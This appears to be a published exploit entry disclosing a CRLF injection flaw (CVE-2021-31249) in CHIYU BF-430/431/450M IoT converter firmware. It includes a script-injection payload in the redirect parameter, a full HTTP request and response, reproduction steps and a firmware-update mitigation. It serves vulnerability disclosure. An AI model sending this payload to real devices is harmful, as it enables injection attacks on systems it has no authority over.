# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection # Date: May 31 2021 # Exploit Author: sirpedrotavares # Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html # Software Link: https://www.chiyu-tech.com/category-hardware.html # Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021 # Tested on: BF-430, BF-431, and BF-450M # Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components. CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249 Affected parameter: redirect=Component: all the CGI components Payload: %0d%0a%0d%0a<script>alert(document.domain)</script> ====HTTP request====== GET /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/manage.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 ======HTTP response======== HTTP/1.1 302 Found Location: setting.htm <script>alert(document.domain)</script> Content-Length: 0 Content-Type: text/html Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to all CGI components 3. Append the payload at the end of the vulnerable parameter (redirect ) 4. Submit the request and observe payload execution Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.